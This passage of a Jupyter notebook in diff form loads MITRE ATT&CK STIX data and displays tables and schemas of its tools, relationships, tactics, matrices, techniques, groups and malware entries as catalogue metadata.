" - ], - "text/plain": [ - " created modified labels type \\\n", - "0 2021-03-19T13:11:50.666Z 2021-04-26T22:35:19.315Z [tool] tool \n", - "1 2021-03-18T14:57:34.628Z 2021-04-25T23:30:38.375Z [tool] tool \n", - "2 2021-03-18T13:39:27.676Z 2021-03-18T14:54:01.053Z [tool] tool \n", - "3 2021-03-17T15:26:20.015Z 2021-04-24T20:45:08.323Z [tool] tool \n", - "\n", - " id name \\\n", - "0 tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d Out1 \n", - "1 tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b RemoteUtilities \n", - "2 tool--842976c7-f9c8-41b2-8371-41dc64fbe261 ConnectWise \n", - "3 tool--b63970b7-ddfb-4aee-97b1-80d335e033a8 NBTscan \n", - "\n", - " description \\\n", - "0 [Out1](https://attack.mitre.org/software/S0594... \n", - "1 [RemoteUtilities](https://attack.mitre.org/sof... \n", - "2 [ConnectWise](https://attack.mitre.org/softwar... \n", - "3 [NBTscan](https://attack.mitre.org/software/S0... \n", - "\n", - " created_by_ref \\\n", - "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "\n", - " object_marking_refs \\\n", - "0 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "1 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "2 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "3 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "\n", - " external_references x_mitre_platforms \\\n", - "0 [{'external_id': 'S0594', 'source_name': 'mitr... [Windows] \n", - "1 [{'external_id': 'S0592', 'source_name': 'mitr... [Windows] \n", - "2 [{'external_id': 'S0591', 'source_name': 'mitr... [Windows] \n", - "3 [{'external_id': 'S0590', 'source_name': 'mitr... [Windows, Linux, macOS] \n", - "\n", - " x_mitre_aliases x_mitre_version x_mitre_contributors \\\n", - "0 [Out1] 1.0 NaN \n", - "1 [RemoteUtilities] 1.0 NaN \n", - "2 [ConnectWise, ScreenConnect] 1.0 NaN \n", - "3 [NBTscan] 1.0 [Daniyal Naeem, BT Security] \n", - "\n", - " x_mitre_old_attack_id \n", - "0 NaN \n", - "1 NaN \n", - "2 NaN \n", - "3 NaN " - ] - }, - "execution_count": 26, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tools = []\n", - "for t in all_attack['tools']:\n", - " tools.append(json.loads(t.serialize()))\n", - "df = pandas.json_normalize(tools)\n", - "df[0:4]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing the schema of Tools**" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['created',\n", - " 'modified',\n", - " 'labels',\n", - " 'type',\n", - " 'id',\n", - " 'name',\n", - " 'description',\n", - " 'created_by_ref',\n", - " 'object_marking_refs',\n", - " 'external_references',\n", - " 'x_mitre_platforms',\n", - " 'x_mitre_aliases',\n", - " 'x_mitre_version',\n", - " 'x_mitre_contributors',\n", - " 'x_mitre_old_attack_id']" - ] - }, - "execution_count": 27, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "list(df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing one Tool example**" - ] - }, - { - "cell_type": "code", - "execution_count": 28, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'created': '2021-03-19T13:11:50.666Z',\n", - " 'modified': '2021-04-26T22:35:19.315Z',\n", - " 'labels': ['tool'],\n", - " 'type': 'tool',\n", - " 'id': 'tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d',\n", - " 'name': 'Out1',\n", - " 'description': '[Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021.(Citation: Trend Micro Muddy Water March 2021)',\n", - " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", - " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", - " 'external_references': [{'external_id': 'S0594',\n", - " 'source_name': 'mitre-attack',\n", - " 'url': 'https://attack.mitre.org/software/S0594'},\n", - " {'source_name': 'Trend Micro Muddy Water March 2021',\n", - " 'url': 'https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html',\n", - " 'description': 'Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.'}],\n", - " 'x_mitre_platforms': ['Windows'],\n", - " 'x_mitre_aliases': ['Out1'],\n", - " 'x_mitre_version': '1.0'}" - ] - }, - "execution_count": 28, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tools[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Get All Relationships from ATT&CK Results (Locally)" - ] - }, - { - "cell_type": "code", - "execution_count": 29, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Number of Relationships in ATT&CK\n", - "12617\n" - ] - } - ], - "source": [ - "print(\"Number of Relationships in ATT&CK\")\n", - "print(len(all_attack['relationships']))" - ] - }, - { - "cell_type": "code", - "execution_count": 30, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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created_by_refobject_marking_refsexternal_referencesdescriptionidtypemodifiedcreatedsource_refrelationship_typetarget_ref
0identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CISA AppleJeus Feb 2021', 'u...[AppleJeus](https://attack.mitre.org/software/...relationship--fbe555c3-5c7b-44e7-a48f-293bdae9...relationship2021-04-27T15:46:45.720Z2021-04-27T15:46:45.720Zmalware--e2d34c63-6f5a-41f5-86a2-e2380f27f858usesattack-pattern--ef67e13e-5598-4adc-bdb2-998225...
1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CERT-FR PYSA April 2020', 'u...[Pysa](https://attack.mitre.org/software/S0583...relationship--fc0b1fb2-f987-4d9c-8470-c40c5179...relationship2021-04-27T03:33:35.204Z2021-04-27T03:33:35.204Zmalware--a19c1197-9414-46e3-986f-0f609ff4a46busesattack-pattern--d63a3fb8-9452-4e9d-a60a-54be68...
2identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CheckPoint Volatile Cedar Ma...[Explosive](https://attack.mitre.org/software...relationship--00038d0e-7fc7-41c3-9055-edb4d87e...relationship2021-04-27T01:56:35.810Z2021-04-27T01:56:35.810Zmalware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44usesattack-pattern--707399d6-ab3e-4963-9315-d9d381...
3identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CheckPoint Volatile Cedar Ma...[Explosive](https://attack.mitre.org/software/...relationship--afcc8ef7-cc5e-4e3b-a430-acafb12f...relationship2021-04-27T01:56:35.803Z2021-04-27T01:56:35.803Zmalware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44usesattack-pattern--391d824f-0ef1-47a0-b0ee-c59a75...
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" - ], - "text/plain": [ - " created_by_ref \\\n", - "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", - "\n", - " object_marking_refs \\\n", - "0 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "1 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "2 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "3 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", - "\n", - " external_references \\\n", - "0 [{'source_name': 'CISA AppleJeus Feb 2021', 'u... \n", - "1 [{'source_name': 'CERT-FR PYSA April 2020', 'u... \n", - "2 [{'source_name': 'CheckPoint Volatile Cedar Ma... \n", - "3 [{'source_name': 'CheckPoint Volatile Cedar Ma... \n", - "\n", - " description \\\n", - "0 [AppleJeus](https://attack.mitre.org/software/... \n", - "1 [Pysa](https://attack.mitre.org/software/S0583... \n", - "2 [Explosive](https://attack.mitre.org/software... \n", - "3 [Explosive](https://attack.mitre.org/software/... \n", - "\n", - " id type \\\n", - "0 relationship--fbe555c3-5c7b-44e7-a48f-293bdae9... relationship \n", - "1 relationship--fc0b1fb2-f987-4d9c-8470-c40c5179... relationship \n", - "2 relationship--00038d0e-7fc7-41c3-9055-edb4d87e... relationship \n", - "3 relationship--afcc8ef7-cc5e-4e3b-a430-acafb12f... relationship \n", - "\n", - " modified created \\\n", - "0 2021-04-27T15:46:45.720Z 2021-04-27T15:46:45.720Z \n", - "1 2021-04-27T03:33:35.204Z 2021-04-27T03:33:35.204Z \n", - "2 2021-04-27T01:56:35.810Z 2021-04-27T01:56:35.810Z \n", - "3 2021-04-27T01:56:35.803Z 2021-04-27T01:56:35.803Z \n", - "\n", - " source_ref relationship_type \\\n", - "0 malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858 uses \n", - "1 malware--a19c1197-9414-46e3-986f-0f609ff4a46b uses \n", - "2 malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44 uses \n", - "3 malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44 uses \n", - "\n", - " target_ref \n", - "0 attack-pattern--ef67e13e-5598-4adc-bdb2-998225... \n", - "1 attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68... \n", - "2 attack-pattern--707399d6-ab3e-4963-9315-d9d381... \n", - "3 attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75... " - ] - }, - "execution_count": 30, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "relationships = []\n", - "for t in all_attack['relationships']:\n", - " relationships.append(json.loads(t.serialize()))\n", - "df = pandas.json_normalize(relationships)\n", - "df[0:4]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing the schema of Relationships**" - ] - }, - { - "cell_type": "code", - "execution_count": 31, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['created_by_ref',\n", - " 'object_marking_refs',\n", - " 'external_references',\n", - " 'description',\n", - " 'id',\n", - " 'type',\n", - " 'modified',\n", - " 'created',\n", - " 'source_ref',\n", - " 'relationship_type',\n", - " 'target_ref']" - ] - }, - "execution_count": 31, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "list(df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing one Relationship example**" - ] - }, - { - "cell_type": "code", - "execution_count": 32, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", - " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", - " 'external_references': [{'source_name': 'CISA AppleJeus Feb 2021',\n", - " 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-048a',\n", - " 'description': 'Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.'}],\n", - " 'description': \"[AppleJeus](https://attack.mitre.org/software/S0584)'s spearphishing links required user interaction to navigate to the malicious website.(Citation: CISA AppleJeus Feb 2021)\",\n", - " 'id': 'relationship--fbe555c3-5c7b-44e7-a48f-293bdae9de0c',\n", - " 'type': 'relationship',\n", - " 'modified': '2021-04-27T15:46:45.720Z',\n", - " 'created': '2021-04-27T15:46:45.720Z',\n", - " 'source_ref': 'malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858',\n", - " 'relationship_type': 'uses',\n", - " 'target_ref': 'attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9'}" - ] - }, - "execution_count": 32, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "relationships[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Get All Tactics from ATT&CK Results (Locally)" - ] - }, - { - "cell_type": "code", - "execution_count": 33, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Number of Tactics in ATT&CK\n", - "55\n" - ] - } - ], - "source": [ - "print(\"Number of Tactics in ATT&CK\")\n", - "print(len(all_attack['tactics']))" - ] - }, - { - "cell_type": "code", - "execution_count": 34, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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created_by_refobject_marking_refsexternal_referencesnamedescriptionidtypemodifiedcreatedx_mitre_shortnamex_mitre_deprecated
0identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'TA0043', 'source_name': 'mit...ReconnaissanceThe adversary is trying to gather information ...x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1efd...x-mitre-tactic2020-10-18T02:04:50.842Z2020-10-02T14:48:41.809ZreconnaissanceNaN
1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'TA0042', 'source_name': 'mit...Resource DevelopmentThe adversary is trying to establish resources...x-mitre-tactic--d679bca2-e57d-4935-8650-8031c8...x-mitre-tactic2020-09-30T16:31:36.322Z2020-09-30T16:11:59.650Zresource-developmentNaN
2identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'TA0040', 'source_name': 'mit...ImpactThe adversary is trying to manipulate, interru...x-mitre-tactic--5569339b-94c2-49ee-afb3-222293...x-mitre-tactic2019-07-25T18:42:23.222Z2019-03-14T18:44:44.639ZimpactNaN
3identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'TA0007', 'url': 'https://att...DiscoveryThe adversary is trying to figure out your env...x-mitre-tactic--c17c5845-175e-4421-9713-829d05...x-mitre-tactic2019-07-19T17:44:13.228Z2018-10-17T00:14:20.652ZdiscoveryNaN
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idcreated_by_refnamedescriptionexternal_referencesobject_marking_refstypetactic_refsmodifiedcreatedx_mitre_deprecated
0x-mitre-matrix--eafc1b4c-5e56-4965-bd4e-66a6a8...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Enterprise ATT&CKBelow are the tactics and technique representi...[{'external_id': 'enterprise-attack', 'source_...[marking-definition--fa42a846-8d90-4e51-bc29-7...x-mitre-matrix[x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1ef...2021-04-29T21:00:19.254Z2018-10-17T00:14:20.652ZNaN
1x-mitre-matrix--2e2c97c3-1908-4e2d-a711-a27d38...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5PRE-ATT&CKThis object is deprecated as its content has b...[{'external_id': 'pre-attack', 'source_name': ...[marking-definition--fa42a846-8d90-4e51-bc29-7...x-mitre-matrix[x-mitre-tactic--b2a086f2-d3db-408b-b4d4-e09a1...2020-10-22T15:43:48.844Z2018-10-17T00:14:20.652ZTrue
2x-mitre-matrix--5104d5f0-16b7-4aec-8ae3-0a90cd...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Network-Based EffectsBelow are the tactics and techniques represent...[{'external_id': 'mobile-attack', 'url': 'http...[marking-definition--fa42a846-8d90-4e51-bc29-7...x-mitre-matrix[x-mitre-tactic--9eb4c21e-4fa8-44c9-b167-dbfc4...2020-07-02T14:18:17.535Z2018-10-17T00:14:20.652ZNaN
3x-mitre-matrix--a382db5e-d009-4135-b893-0e0ff0...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Device AccessBelow are the tactics and techniques represent...[{'external_id': 'mobile-attack', 'url': 'http...[marking-definition--fa42a846-8d90-4e51-bc29-7...x-mitre-matrix[x-mitre-tactic--0a93fd8e-4a83-4c15-8203-db290...2021-02-09T14:28:47.299Z2018-10-17T00:14:20.652ZNaN
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" - ], - "text/plain": [ - " id \\\n", - "0 x-mitre-matrix--eafc1b4c-5e56-4965-bd4e-66a6a8... \n", - "1 x-mitre-matrix--2e2c97c3-1908-4e2d-a711-a27d38... \n", - "2 x-mitre-matrix--5104d5f0-16b7-4aec-8ae3-0a90cd... \n", - "3 x-mitre-matrix--a382db5e-d009-4135-b893-0e0ff0... \n", - "\n", - " created_by_ref name \\\n", - "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 Enterprise ATT&CK \n", - "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 PRE-ATT&CK \n", - "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 Network-Based Effects \n", - "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 Device Access \n", - "\n", - " description \\\n", - "0 Below are the tactics and technique representi... \n", - "1 This object is deprecated as its content has b... \n", - "2 Below are the tactics and techniques represent... \n", - "3 Below are the tactics and techniques represent... \n", - "\n", - " external_references \\\n", - "0 [{'external_id': 'enterprise-attack', 'source_... \n", - "1 [{'external_id': 'pre-attack', 'source_name': ... \n", - "2 [{'external_id': 'mobile-attack', 'url': 'http... \n", - "3 [{'external_id': 'mobile-attack', 'url': 'http... \n", - "\n", - " object_marking_refs type \\\n", - "0 [marking-definition--fa42a846-8d90-4e51-bc29-7... x-mitre-matrix \n", - "1 [marking-definition--fa42a846-8d90-4e51-bc29-7... x-mitre-matrix \n", - "2 [marking-definition--fa42a846-8d90-4e51-bc29-7... x-mitre-matrix \n", - "3 [marking-definition--fa42a846-8d90-4e51-bc29-7... x-mitre-matrix \n", - "\n", - " tactic_refs \\\n", - "0 [x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1ef... \n", - "1 [x-mitre-tactic--b2a086f2-d3db-408b-b4d4-e09a1... \n", - "2 [x-mitre-tactic--9eb4c21e-4fa8-44c9-b167-dbfc4... \n", - "3 [x-mitre-tactic--0a93fd8e-4a83-4c15-8203-db290... \n", - "\n", - " modified created x_mitre_deprecated \n", - "0 2021-04-29T21:00:19.254Z 2018-10-17T00:14:20.652Z NaN \n", - "1 2020-10-22T15:43:48.844Z 2018-10-17T00:14:20.652Z True \n", - "2 2020-07-02T14:18:17.535Z 2018-10-17T00:14:20.652Z NaN \n", - "3 2021-02-09T14:28:47.299Z 2018-10-17T00:14:20.652Z NaN " - ] - }, - "execution_count": 37, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df = pandas.json_normalize(all_attack['matrix'])\n", - "df[0:4]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Showing the schema of Tactics**" - ] - }, - { - "cell_type": "code", - "execution_count": 38, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['id',\n", - " 'created_by_ref',\n", - " 'name',\n", - " 'description',\n", - " 'external_references',\n", - " 'object_marking_refs',\n", - " 'type',\n", - " 'tactic_refs',\n", - " 'modified',\n", - " 'created',\n", - " 'x_mitre_deprecated']" - ] - }, - "execution_count": 38, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "list(df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Get All Enterprise ATT&CK ONLY from Results (Locally)\n", - "* We can also grab the results from each get_* function that we run earlier, and start getting specific stix object types such as techniques, mitigations, groups, malware, tools and relationships on each specific matrix.\n", - "* It is important to remember that the stix objec information is being retrieved from the results of the initial three **get_*** functions and not querying the TAXII Server every time we want to get information about a specific stix object type." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Enterprise Techniques**" - ] - }, - { - "cell_type": "code", - "execution_count": 39, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Number of Techniques in Enterprise ATT&CK\n", - "692\n" - ] - } - ], - "source": [ - "print(\"Number of Techniques in Enterprise ATT&CK\")\n", - "print(len(all_enterprise['techniques']))" - ] - }, - { - "cell_type": "code", - "execution_count": 40, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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0[{'source_name': 'mitre-attack', 'external_id'...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Code Signing Policy ModificationAdversaries may modify code signing policies t...attack-pattern--565275d5-fcc3-4b66-b4e7-928e4c...attack-pattern[{'kill_chain_name': 'mitre-attack', 'phase_na...2021-04-26T15:41:39.155Z2021-04-23T01:04:57.161Z...True[Administrator][Windows, macOS]NaNNaNNaNNaNNaNNaNNaN
1[{'source_name': 'mitre-attack', 'external_id'...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5System Location Discovery\\nAdversaries may gather information in an att...attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f1...attack-pattern[{'kill_chain_name': 'mitre-attack', 'phase_na...2021-04-20T19:25:49.977Z2021-04-01T16:42:08.735Z...False[User][Windows, Linux, macOS, IaaS]NaNNaNNaNNaNNaNNaNNaN
2[{'source_name': 'mitre-attack', 'external_id'...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Container and Resource DiscoveryAdversaries may attempt to discover containers...attack-pattern--0470e792-32f8-46b0-a351-652bc3...attack-pattern[{'kill_chain_name': 'mitre-attack', 'phase_na...2021-04-12T18:22:05.737Z2021-03-31T14:26:00.848Z...False[User][Containers]NaNNaNNaNNaNNaNNaNNaN
3[{'source_name': 'mitre-attack', 'external_id'...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5Container APIAdversaries may gather credentials via APIs wi...attack-pattern--f8ef3a62-3f44-40a4-abca-761ab2...attack-pattern[{'kill_chain_name': 'mitre-attack', 'phase_na...2021-04-12T18:20:31.636Z2021-03-31T14:01:52.321Z...True[User, Administrator][Containers]NaNNaNNaNNaNNaNNaNNaN
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1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'G0129', 'source_name': 'mitr...[Mustang Panda](https://attack.mitre.org/group...Mustang Pandaintrusion-setintrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b728...[Mustang Panda, TA416, RedDelta, BRONZE PRESID...2021-04-25T21:15:45.895Z2021-04-12T15:56:28.861Z1.0[Kyaw Pyiyt Htet, @KyawPyiytHtet]NaN
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external_referencesobject_marking_refscreated_by_refdescriptionnameidtypelabelsmodifiedcreatedx_mitre_versionx_mitre_aliasesx_mitre_platformsx_mitre_contributorsrevoked
0[{'external_id': 'S0598', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[P.A.S. Webshell](https://attack.mitre.org/sof...P.A.S. Webshellmalware--4800d0f9-00aa-47cd-a4d2-92198585b8fdmalware[malware]2021-04-13T13:10:36.820Z2021-04-13T12:46:58.579Z1.0[P.A.S. Webshell, Fobushell][Linux, Windows]NaNNaN
1[{'external_id': 'S0601', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Hildegard](https://attack.mitre.org/software/...Hildegardmalware--40a1b8ec-7295-416c-a6b1-68181d86f120malware[malware]2021-04-12T12:51:56.886Z2021-04-07T18:07:47.604Z1.0[Hildegard][Linux, Containers, IaaS][Center for Threat-Informed Defense (CTID)]NaN
2[{'external_id': 'S0600', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Doki](https://attack.mitre.org/software/S0600...Dokimalware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64fmalware[malware]2021-04-19T17:45:07.102Z2021-04-06T15:53:34.722Z1.0[Doki][Linux, Containers][Center for Threat-Informed Defense (CTID)]NaN
3[{'external_id': 'S0599', 'source_name': 'mitr...[marking-definition--fa42a846-8d90-4e51-bc29-7...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[Kinsing](https://attack.mitre.org/software/S0...Kinsingmalware--d6e55656-e43f-411f-a7af-45df650471c5malware[malware]2021-04-12T12:49:39.027Z2021-04-06T12:22:23.447Z1.0[Kinsing][Containers, Linux][Center for Threat-Informed Defense (CTID)]NaN
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createdmodifiedlabelstypeidnamedescriptioncreated_by_refobject_marking_refsexternal_referencesx_mitre_platformsx_mitre_aliasesx_mitre_versionx_mitre_contributors
02021-03-19T13:11:50.666Z2021-04-26T22:35:19.315Z[tool]tooltool--80c815bb-b24a-4b9c-9d73-ff4c075a278dOut1[Out1](https://attack.mitre.org/software/S0594...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0594', 'source_name': 'mitr...[Windows][Out1]1.0NaN
12021-03-18T14:57:34.628Z2021-04-25T23:30:38.375Z[tool]tooltool--03c6e0ea-96d3-4b23-9afb-05055663cf4bRemoteUtilities[RemoteUtilities](https://attack.mitre.org/sof...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0592', 'source_name': 'mitr...[Windows][RemoteUtilities]1.0NaN
22021-03-18T13:39:27.676Z2021-03-18T14:54:01.053Z[tool]tooltool--842976c7-f9c8-41b2-8371-41dc64fbe261ConnectWise[ConnectWise](https://attack.mitre.org/softwar...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0591', 'source_name': 'mitr...[Windows][ConnectWise, ScreenConnect]1.0NaN
32021-03-17T15:26:20.015Z2021-04-24T20:45:08.323Z[tool]tooltool--b63970b7-ddfb-4aee-97b1-80d335e033a8NBTscan[NBTscan](https://attack.mitre.org/software/S0...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'external_id': 'S0590', 'source_name': 'mitr...[Windows, Linux, macOS][NBTscan]1.0[Daniyal Naeem, BT Security]
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0identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CISA AppleJeus Feb 2021', 'u...[AppleJeus](https://attack.mitre.org/software/...relationship--fbe555c3-5c7b-44e7-a48f-293bdae9...relationship2021-04-27T15:46:45.720Z2021-04-27T15:46:45.720Zmalware--e2d34c63-6f5a-41f5-86a2-e2380f27f858usesattack-pattern--ef67e13e-5598-4adc-bdb2-998225...
1identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CERT-FR PYSA April 2020', 'u...[Pysa](https://attack.mitre.org/software/S0583...relationship--fc0b1fb2-f987-4d9c-8470-c40c5179...relationship2021-04-27T03:33:35.204Z2021-04-27T03:33:35.204Zmalware--a19c1197-9414-46e3-986f-0f609ff4a46busesattack-pattern--d63a3fb8-9452-4e9d-a60a-54be68...
2identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CheckPoint Volatile Cedar Ma...[Explosive](https://attack.mitre.org/software...relationship--00038d0e-7fc7-41c3-9055-edb4d87e...relationship2021-04-27T01:56:35.810Z2021-04-27T01:56:35.810Zmalware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44usesattack-pattern--707399d6-ab3e-4963-9315-d9d381...
3identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'CheckPoint Volatile Cedar Ma...[Explosive](https://attack.mitre.org/software/...relationship--afcc8ef7-cc5e-4e3b-a430-acafb12f...relationship2021-04-27T01:56:35.803Z2021-04-27T01:56:35.803Zmalware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44usesattack-pattern--391d824f-0ef1-47a0-b0ee-c59a75...
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iddescriptionnamecreated_by_refobject_marking_refsexternal_referencestypekill_chain_phasesmodifiedcreatedx_mitre_platformsx_mitre_detectionx_mitre_tactic_typex_mitre_is_subtechniquex_mitre_versionx_mitre_contributorsx_mitre_old_attack_idrevokedx_mitre_deprecated
0attack-pattern--e083305c-49e7-4c87-aae8-968921...Adversaries may use built-in command-line inte...Command-Line Interfaceidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[marking-definition--fa42a846-8d90-4e51-bc29-7...[{'source_name': 'mitre-mobile-attack', 'exter...attack-pattern[{'kill_chain_name': 'mitre-mobile-attack', 'p...2020-12-17T17:31:52.802Z2020-12-16T20:16:07.673Z[Android, iOS]Command-Line Interface execution can be diffic...[Post-Adversary Device Access]False1.0NaNNaNNaNNaN
